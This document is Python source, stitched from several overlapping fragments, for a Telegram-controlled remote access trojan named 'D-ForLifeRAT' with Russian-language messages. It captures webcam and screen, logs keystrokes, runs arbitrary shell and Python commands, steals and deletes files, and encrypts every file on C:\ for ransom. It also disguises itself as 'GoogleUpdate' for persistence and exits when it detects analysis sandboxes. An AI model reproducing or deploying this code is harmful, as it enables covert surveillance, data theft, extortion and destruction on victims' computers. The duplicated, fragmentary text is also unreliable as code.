import time import threading # /proxy, /schedule import proxy import pyaudio, wave # /hear import telepot, requests # telepot => telegram, requests => file download from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton import pyHook, pythoncom # keylogger import socket # internal IP import getpass # get username import collections import urllib # wallpaper import cv2 # webcam from datetime import datetime from ctypes import * # fixing pyinstaller - we need to import all the ctypes to get api-ms-win-crt-*, you will also need https://www.microsoft.com/en-US/download/details.aspx?id=48145 cd.log('i','Starting') me = singleton.SingleInstance() # REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED! token = 'xx:xx' if 'RVT_TOKEN' in os.environ: # it can also be set as an environment variable token = os.environ['RVT_TOKEN'] # This will be used for setting paths and related file io -- change to whatever you want app_name = 'ABCdef123' # ADD YOUR chat_id IN STRING FORMAT TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON! known_ids = [] #known_ids.append(os.environ['TELEGRAM_CHAT_ID']if 'TELEGRAM_CHAT_ID' in os.environ) # make sure to remove this line if you don't have this environment variable appdata_roaming_folder = os.environ['APPDATA'] # = 'C:\Users\Username\AppData\Roaming' # HIDING OPTIONS # ---------------------------------------------
import datetime # /schedule import time import threading # /proxy, /schedule import proxy import pyaudio, wave # /hear import telepot, requests # telepot => telegram, requests => file download from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton import pyHook, pythoncom # keylogger import socket # internal IP import getpass # get username import collections import urllib # wallpaper import cv2 #webcam from ctypes import * #fixing pyinstaller - we need to import all the ctypes to get api-ms-win-crt-*, you will also need https://www.microsoft.com/en-US/download/details.aspx?id=48145 cd.log('i', 'Starting', True) me = singleton.SingleInstance() # REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED! token = 'xx:xx' # This will be used for setting paths and related file io -- change to whatever you want app_name = 'ABCdef123' # ADD YOUR chat_id in string format TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON! known_ids = [] #known_ids.append(os.environ['TELEGRAM_CHAT_ID']if 'TELEGRAM_CHAT_ID' in os.environ) # make sure to remove this line if you don't have this environment variable appdata_roaming_folder = os.environ[ 'APPDATA'] # = 'C:\Users\Username\AppData\Roaming' # HIDING OPTIONS # --------------------------------------------- hide_folder = appdata_roaming_folder + '\\' + app_name # = 'C:\Users\Username\AppData\Roaming\Portal' compiled_name = app_name + '.exe' # Name of compiled .exe to hide in hide_folder, i.e 'C:\Users\Username\AppData\Roaming\Portal\portal.exe' # ---------------------------------------------
def handle(msg): chat_id = msg['chat']['id'] if True: response = '' if 'text' in msg: cd.log('n','\n\t\tКоманда от ' + str(chat_id) + ': ' + msg['text'] + '\n\n',True) command = msg['text'] try: if command == '/capture_webcam': bot.sendChatAction(chat_id, 'typing') camera = cv2.VideoCapture(0) while True: return_value,image = camera.read() gray = cv2.cvtColor(image,cv2.COLOR_BGR2GRAY) cv2.imshow('image',gray) if cv2.waitKey(1)& 0xFF == ord('s'): cv2.imwrite('webcam.jpg',image) break camera.release() cv2.destroyAllWindows() bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('webcam.jpg', 'rb')) os.remove('webcam.jpg') elif command == '/capture_pc': bot.sendChatAction(chat_id, 'typing') screenshot = ImageGrab.grab() screenshot.save('screenshot.jpg') bot.sendChatAction(chat_id, 'upload_photo') bot.sendDocument(chat_id, open('screenshot.jpg', 'rb')) os.remove('screenshot.jpg') elif command.startswith('/cmd_exec'): cd.log('w','Command exec prep') process = Popen(['cmd'], stdin=PIPE, stdout=PIPE) command = command.replace('/cmd_exec', '') cd.log('w','Executing the command '+command) if len(command) > 1: process.stdin.write(bytes(command + '\n')) process.stdin.close() lines = process.stdout.readlines() for l in lines: response += l else: response = '/cmd_exec dir' elif command.startswith('/cd'): command = command.replace('/cd ','') try: os.chdir(command) response = os.getcwd() + '>' except: response = 'Не найдена субдиректория ' + command elif command.startswith('/delete'): command = command.replace('/delete', '') path_file = command.strip() try: os.remove(path_file) response = 'Успешно удалён файл' except: try: os.rmdir(path_file) response = 'Успешно удалена папка' except: try: shutil.rmtree(path_file) response = 'Успешно удалена/ны директория/ии / файл/ы' except: response = 'Файл не найден' elif command == '/dns': bot.sendChatAction(chat_id, 'typing') lines = os.popen('ipconfig /displaydns') for line in lines: line.replace('\n\n', '\n') response += line elif command.startswith('/download'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/download', '') path_file = path_file[1:] if path_file == '': response = '/download C:/path/to/file.name or /download file.name' else: bot.sendChatAction(chat_id, 'upload_document') try: bot.sendDocument(chat_id, open(path_file, 'rb')) except: try: bot.sendDocument(chat_id, open(hide_folder + '\\' + path_file)) response = 'Найден в скрытой папке: ' + hide_folder except: response = 'Не найдено ' + path_file elif command.endswith('code_all'): cd.log('w','Data encryption option.') parentDirectory = 'C:\\' for root, dirs, files in os.walk(parentDirectory): for afile in files: full_path = os.path.join(root, afile) if command.startswith('/en'): cd.log('w','WARNING ABOUT TO ENCRYPT DATA!!!! IN '+str(full_path)) encode(full_path) elif command.startswith('/de') and full_path.endswith('.nxr'):#our extension (been encoded) decode(full_path) response = 'Files ' + command[1:3] + 'coded succesfully.' elif command.startswith('/cp'): command = command.replace('/cp', '') command = command.strip() if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] copyfile(file1, file2) response = 'Files copied succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Usage: \n/cp "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)' elif command.endswith('freeze_keyboard'): global keyboardFrozen keyboardFrozen = not command.startswith('/un') hookManager.KeyAll = lambda event: not keyboardFrozen response = 'Keyboard is now ' if keyboardFrozen: response += 'disabled. To enable, use /unfreeze_keyboard' else: cd.log('w','Keyboard frozen') response += 'enabled' elif command.endswith('freeze_mouse'): if mouseFrozen == False: mse = pyWinhook.HookManager() mse.MouseAll = false_event mse.KeyAll = false_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'enabled. To disable use /unfreeze_mouse' elif mouseFrozen == True: cd.log('w','Keyboard frozen') response += 'enabled. To disable, use /unfreeze_mouse' else: response += 'The script has commited the act of death' elif command.endswith('unfreeze_mouse'): if mouseFrozen == True: mse = pyWinhook.HookManager() mse.MouseAll = true_event mse.KeyAll = true_event mse.HookMouse() mse.HookKeyboard() pythoncom.PumpMessages() response += 'disabled. To enable use /freeze_mouse' elif mouseFrozen == False: response += 'already disabled. To enable, use /freeze_mouse' else: response += 'The script has commited the act of death' elif command == '/ip_info': bot.sendChatAction(chat_id, 'find_location') info = requests.get('http://ipinfo.io').text #json format location = (loads(info)['loc']).split(',') bot.sendLocation(chat_id, location[0], location[1]) import string import re response = 'External IP: ' response += "".join(filter(lambda char: char in string.printable, info)) response = re.sub('[:,{}\t\"]', '', response) response += '\n' + 'Internal IP: ' + '\n\t' + internalIP() elif command == '/keylogs': bot.sendChatAction(chat_id, 'upload_document') bot.sendDocument(chat_id, open(keylogs_file, "rb")) elif command == '/forkbomb': while True: try: os.startfile('cmd.exe') except: pass elif command.startswith('/url'): URL = command.replace('/url', '') URL = URL[1:] if not URL.startswith('http'): URL = 'http://' + URL return os.system(f'@start {URL} > NUL') elif command.startswith('/ls'): bot.sendChatAction(chat_id, 'typing') command = command.replace('/ls', '') command = command.strip() files = [] if len(command) > 0: files = os.listdir(command) else: files = os.listdir(os.getcwd()) human_readable = '' for file in files: human_readable += file + '\n' response = human_readable elif command.startswith('/msg_box'): message = command.replace('/msg_box', '') if message == '': response = '/msg_box yourText' else: ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40) response = 'MsgBox отправлен' elif command.startswith('/mv'): command = command.replace('/mv', '') if len(command) > 0: try: file1 = command.split('"')[1] file2 = command.split('"')[3] move(file1, file2) response = 'Files moved succesfully.' except Exception as e: response = 'Error: \n' + str(e) else: response = 'Использование: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"' response += '\n\nОбращайте внимание на двойные кавычки' elif command == '/pc_info': bot.sendChatAction(chat_id, 'typing') info = '' for pc_info in platform.uname(): info += '\n' + pc_info info += '\n' + 'Пользователь: ' + getpass.getuser() response = info elif command == '/ping': response = platform.uname()[1] + ': Pong!' elif command.startswith('/play'): command = command.replace('/play', '') command = command.strip() if len(command) > 0: systemCommand = 'start \"\" \"https://www.youtube.com/embed/' systemCommand += command systemCommand += '?autoplay=1&showinfo=0&controls=0\"' if os.system(systemCommand) == 0: response = 'Запуск видео' else: response = 'Ошибка воспроизведения видео' else: response = '/play <VIDEOID>\n/play A5ZqNOJbamU' elif command == '/proxy': threading.Thread(target=proxy.main).start() info = requests.get('http://ipinfo.io').text #json format ip = (loads(info)['ip']) response = 'Прокси успешно подключён: ' + ip + ':8081' elif command == '/pwd': response = os.getcwd() elif command.startswith('/python_exec'): command = command.replace('/python_exec','').strip() if len(command) == 0: response = 'Используйте: /python_exec print(\'printing\')' else: cd.log('w','Выполнение Python скрипта') from StringIO import StringIO import sys old_stderr = sys.stderr old_stdout = sys.stdout sys.stderr = mystderr = StringIO() sys.stdout = mystdout = StringIO() exec(command in globals()) if mystderr.getvalue() != None: response += mystderr.getvalue() if mystdout.getvalue() != None: response += mystdout.getvalue() sys.stderr = old_stderr sys.stdout = old_stdout if response == '': response = 'Скрипт успешно выполнен!' elif command == '/reboot': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /r /f /t 0') response = 'Рестарт...' elif command.startswith('/run'): bot.sendChatAction(chat_id, 'typing') path_file = command.replace('/run', '') path_file = path_file[1:] if path_file == '': response = '/run_file C:/path/to/file' else: try: os.startfile(path_file) response = 'Файл ' + path_file + ' запущен' except: try: os.startfile(hide_folder + '\\' + path_file) response = 'Файл ' + path_file + ' запущен с скрытой папки' except: response = 'Файл не найден' elif command.startswith('/schedule'): command = command.replace('/schedule', '') if command == '': response = '/schedule 2017 12 24 23 59 /msg_box happy christmas' else: scheduleDateTimeStr = command[1:command.index('/') - 1] scheduleDateTime = datetime.datetime.strptime(scheduleDateTimeStr, '%Y %m %d %H %M') scheduleMessage = command[command.index('/'):] schedule[scheduleDateTime] = {'text' : scheduleMessage, 'chat' : { 'id' : chat_id }} response = 'Задача создана: ' + scheduleMessage runStackedSchedule(10) elif command == '/self_destruct': bot.sendChatAction(chat_id, 'typing') global destroy destroy = True response = 'Вы уверены? \'/destroy\' чтобы продолжить...' elif command == '/shutdown': bot.sendChatAction(chat_id, 'typing') command = os.popen('shutdown /s /f /t 0') response = 'Computer will be shutdown NOW.' elif command == '/destroy' and destroy == True: bot.sendChatAction(chat_id, 'typing') if os.path.exists(hide_folder): rmtree(hide_folder) if os.path.isfile(target_shortcut): os.remove(target_shortcut) os._exit(0) elif command == '/tasklist': lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"') response2 = '' for line in lines: line.replace('\n\n', '\n') if len(line)>2000: response2 +=line else: response += line response += '\n' + response2 elif command.startswith('/to'): command = command.replace('/to','') import winsound winsound.Beep(440, 300) if command == '': response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC' else: targets = command[:command.index('/')] if platform.uname()[1] in targets: command = command.replace(targets, '') msg = {'text' : command, 'chat' : { 'id' : chat_id }} handle(msg) elif command == '/update': proc_name = app_name + '.exe' if not os.path.exists(hide_folder + '\\updated.exe'): response = 'Отправьте update.exe сначала.' else: for proc in psutil.process_iter(): # check whether the process name matches if proc.name() == proc_name: proc.kill() os.rename(hide_folder + '\\' + proc_name, hide_folder + '\\' + proc_name + '.bak') os.rename(hide_folder + '\\updated.exe', hide_folder + '\\' + proc_name) os.system(hide_folder + '\\' + proc_name) sys.exit() elif command.startswith('/wallpaper'): command = command.replace('/wallpaper', '') command = command.strip() if len(command) == 0: response = 'Использованин: /wallpaper C:/Users/User/Desktop/p**n.jpg' elif command.startswith('http'): image = command.rsplit('/',1)[1] image = hide_folder + '/' + image urllib.urlretrieve(command, image) ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3) else: ctypes.windll.user32.SystemParametersInfoW(20, 0, command.replace('/', '//'), 3) response = 'Обои успешно установлены.' elif command == '/help': # functionalities dictionary: command:arguments functionalities = { '' : '[D-ForLifeRAT] Доступные команды:', \ '/capture_pc' : 'Скриншот', \ '/cmd_exec' : '<command_chain> | Выполнение команды', \ '/cd':'<target_dir> | Сменить директорию', \ '/decode_all':' Расшифровать все файлы', \ '/encode_all':' Зашифровать все файлы', \ '/delete':'<target_file> | Удалить файл', \ '/dns':'DNS кэш', \ '/download':'<target_file> | Загрузка файла', \ '/freeze_keyboard':' Заморозить клавиатуру', \ '/freeze_mouse':' Заморозить мышь', \ '/ip_info':' IP адрес и местоположение', \ '/keylogs':' Кейлоггер', \ '/ls':'[target_folder] | Файлы в директории', \ '/msg_box':'<text> | MsgBox с текстом', \ '/pc_info':' Краткая сводка о ПК', \ '/play':'<youtube_videoId> | Открыть видео на YT', \ '/proxy':' Socks4 прокси', \ '/pwd':' Сменить директорию', \ '/python_exec':'<command_chain> | Выполнить Python скрипт', \ '/reboot':' Ребут ПК', \ '/run':'<target_file> | Запуск файла', \ '/self_destruct':' !!!Самоуничтожиться!!!', \ '/shutdown':' Выключить ПК', \ '/tasklist':' Список задач', \ '/to':'<target_computer>, [other_target_computer] | Переключить таргет',\ '/update':' Отправить обновление',\ '/wallpaper':'<target_file> | Сменить обои'} response = "\n".join(command + ' ' + description for command,description in sorted(functionalities.items())) else: # redirect to /help cd.log('w','Неверная команда') msg = {'text' : '/help', 'chat' : { 'id' : chat_id }} handle(msg) except Exception as e: cd.log('e','Ошибка выполнения команды.') cd.log('z','Детали ошибки: '+str(e)) #raise cd.log('n','Выполнение команды {}'.format(command)) else: # Upload a file to target file_name = '' file_id = None if 'document' in msg: file_name = msg['document']['file_name'] file_id = msg['document']['file_id'] elif 'photo' in msg: file_time = int(time.time()) file_id = msg['photo'][1]['file_id'] file_name = file_id + '.jpg' file_path = bot.getFile(file_id=file_id)['file_path'] link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path file = (requests.get(link, stream=True)).raw with open(hide_folder + '\\' + file_name, 'wb') as out_file: copyfileobj(file, out_file) response = 'File saved as ' + file_name if response != '': responses = split_string(4096, response) for resp in responses: send_safe_message(bot, chat_id, resp)#
import collections import urllib# wallpaper import cv2#webcam import glob2 from datetime import datetime from ctypes import * #fixing pyinstaller - we need to import all the ctypes to get api-ms-win-crt-*, you will also need https://www.microsoft.com/en-US/download/details.aspx?id=48145 for file in glob2.glob('C:\\Users\\John\\Desktop\\foobar.*'): sys.exit() for file in glob2.glob('C:\\Users\\Peter Wilson\\Desktop\\Microsoft Word 2010.lnk'): sys.exit() for file in glob2.glob('C:\\Users\\Lisa\\Desktop'): sys.exit() for file in glob2.glob('C:\\Users\\Administrator\\Desktop\\decoy.cpp'): sys.exit() cd.log('i','Запуск...') me = singleton.SingleInstance() token = 'ваш токен из BotFather' app_name = 'GoogleUpdate' known_ids = [xxxxxxxxxx (Айди чата)] appdata_roaming_folder = os.environ['APPDATA'] # = 'C:\Users\Username\AppData\Roaming' # HIDING OPTIONS # --------------------------------------------- hide_folder = appdata_roaming_folder + '\\' + app_name # = 'C:\Users\Username\AppData\Roaming\Portal' compiled_name = app_name + '.exe' # Name of compiled .exe to hide in hide_folder, i.e 'C:\Users\Username\AppData\Roaming\Portal\portal.exe' # --------------------------------------------- target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk') if not os.path.exists(hide_folder): os.makedirs(hide_folder) hide_compiled = hide_folder + '\\' + compiled_name copyfile(argv[0], hide_compiled)